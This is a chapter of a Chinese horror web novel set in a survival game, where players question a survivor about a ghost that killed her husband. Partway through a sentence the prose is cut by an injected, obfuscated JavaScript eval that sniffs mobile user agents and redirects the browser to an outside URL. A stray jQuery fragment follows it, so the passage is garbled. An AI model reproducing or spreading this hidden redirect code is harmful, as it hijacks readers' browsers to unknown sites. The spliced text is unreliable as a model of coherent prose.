进入游戏的第四天,整个清晨任二叔都没来,直到中午,才来了一个头发半花白,下巴上长了颗痣的男人,他一走进院子,就眉头紧皱,一副苦大仇深的样子。
他坐在院子里的石凳上,又掏出怀里的保温杯,示意一边站着的小青年给自己加满水,然后坐着不说话。
小青年进了厨房,从水缸里舀出一瓢水后拧紧盖子,拿出去递给他后,他才扬扬下巴,示意去把其他人叫出来。
不到五分钟的时间,玩家们齐聚在石桌前,男人开口悠悠说道:“今天任猴有事来不了,我替他来给你们通知。”
“咱们村子都是姓任的,你们可以叫我任二叔。”
玩家们相互看一眼,原来上一任“任二叔”叫“任猴”,不过这种无关痛痒的情报他们并不在意,此刻在意的,只有这新任任二叔带来的消息,是好,还是坏...?
鸦雀无声间,任二叔正要开口,却听到一声‘刺耳’的哈切声,他转头,一双灯泡似的眼睛搜寻着声音来源,宋湛雨迅速上前一步,将白洛遥整个人挡在身后。
白洛遥茫然抬头,而宋湛雨则小幅度摇头。
任二叔看了一圈,没找到任何可疑人物,于是冷哼一声:“有个女人没来?”
没人接话,过了一会儿才有玩家说道:“她在房间里。”
“通知她,明天村里会来人跟她相亲,让她挑个凑合,”任二叔说道,“要不然,没两天好活。”
“......”玩家们沉默,这种话,传了不是撞在枪口上吗?
任二叔打开水壶,对着水吹了吹热气,然后凑到嘴唇前抿了一口:“今天下午,3、4点的时候,有一场日全食,黑夜会提前来。”
“所以这会儿,收拾好就呆在房间里别出来,有一些不干净的东西,会趁这个时候跑出来。”他表情厌恶,紧接着,又神秘地笑了笑,“不过别怕,娃娃会保佑你们的。”
任二叔说完后就离开了,玩家们回到各自的房间,白洛遥坐在床上,盯着洞里的泥娃娃,脑子里又想起昨晚发生的事,总觉得哪里怪怪的,但具体又说不上来。
于是他将目光移向端着水往桌子上放的宋湛雨:“第一夜我们遇到的鬼,是通过镜子进入房间的。”
宋湛雨放下水杯:“是这样的。”
“没有开门的能力,”白洛遥歪了歪头,“但昨天那个,手可以伸进来。”
宋湛雨顿了顿,他突然意识到自己陷入一个误区:“她们不是同一个人。”
“如果说没有丈夫会成昨天的鬼,那第一天遇到的那位,又是怎么来的?”
宋湛雨眯了眯眼睛,他开始回想前两天遇难的夫妻,他们的性格、说话习惯,彼此关系的融洽程度,是随机杀人,还是有什么共性?
很快,他想到了答案。
“夫妻不和。”宋湛雨说道,他转身拉开门:“去找珊珊。”
院子里空无一人,时间走到两点一刻,玩家们呆在房间锁好房门,甚至有人用家具将门顶住,为的就是预防即将到来的‘鬼袭’事件。
在所有人都惴惴不安时,宋湛雨敲响了珊珊的房门,三次一组敲了四五下,里面却无人回应,他拧了拧门把手,从里面上了锁,于是转头看向白洛遥。
记得...她们之前有过交流。
“珊珊,”白洛遥喊道,“有事找。”
里面同样无人回应,过了片刻,传来一阵床的咯吱声,门锁被转动,珊珊沙哑的声音模糊不清地从里面传出来:“进来。”
白洛遥拉下门把手,门开了,宋湛雨看了眼她,她却头也没回地拉门走进去。
房间没开灯,窗子关着,一点光都透不进来,空气有一种长时间未通风的怪异气味,珊珊坐在床上,披头散发,衣服也乱糟糟的,她用被子将自己裹成一团,靠着墙,带着敌视的目光盯着白洛遥。
“你来干什么?”她声音冷硬。
“第一晚发生了什么?”白洛遥直截了当问道。
珊珊愣了一下,她似乎是回想起什么,脸色逐渐变得惨白,片刻后,她回过神,咬牙骂道:“关你屁事,我凭什么告诉你。”
白洛遥思考了一下说道:“我有一个关于你的情报。”
“我凭什么相信你说的是真的!”
白洛遥看向她:“除了你之外,所有人都知道,不过,都这会儿了,估计也不会有人告诉你了。”
珊珊大叫一声,从床上拿起枕头砸向白洛遥,不过准头不太好,离白洛遥差了半米的距离
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16373488|173866||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,砸到门框上。
不久前,珊珊透过窗户听到外面传来说话声,她凑到墙边听,听不太真切,但隐约猜到是任二叔来了,他要给玩家说新的任务。
于是,她坐到床上,等待有人来门边叫自己,她想,她最开始会让那人滚蛋,但他再劝几句的时候,她就会出去。
也许新的任务,有她求生的线索。
只不过....
始终没人来。
珊珊捂脸痛哭起来,白洛遥就这么看着她,三分钟后,她开始有些不耐烦:“你先说还是我先说?”
哭声停滞了一瞬,珊珊用被子擦干眼泪:“那天晚上,王致想跟我发生关系,我反抗跟他打起来,然后就听到有人问,要不要帮忙。”
“我同意后,她就从镜子里爬出来了。”珊珊抽噎着说道,“我们俩都吓坏了,王致想跑出房间,却被抓住了。”
“我也想走,但是女人看着我,说如果我敢逃,就杀死我,”珊珊开始发抖,“我呆在床边不敢动,看着她把人杀死,然后,她来到我身边。”
“搂着我的肩膀,让我躺在她腿上,用她瘦得皮包骨头的手摸我的头发,我很害怕。”珊珊说着,眼睛里又涌出泪花,“但不知不觉就睡着了,直到宋湛雨敲门把我吵醒。”
白洛遥听完后,眉头微皱,有些惊讶事情竟然是这样发展的,所以说,那个鬼是为了帮她?那么第二天里女人的死亡,是因为违抗了鬼的指令?
只是夫妻二人皆已死亡,想知道真相也无从问起。
“你呢!你知道什么关于我的事。”珊珊哑声问道。
白洛遥将任二叔的话作以转答,顺带告诉她日全食的事,珊珊听完后,整个人都开始摇晃。
她哭不出来,只能怔怔地看着地面,额头冒出虚汗,嘴巴大张却喘不过气。
片刻后,她忍耐着身体的痛楚,抬头看向白洛遥,像是抓住唯一一根救命稻草:“我该怎么做?”
只是话音刚落,她就哑然失声,白洛遥已经离开了,大门留了条缝,隐约有风透进来,带着刺骨的寒意。
珊珊嗤笑一声,她抓住胸口的衣襟,笑声越来越大,越来越肆意张扬,她一边笑着,一边下了床,鞋子也没穿,就这么晃荡着走向远方。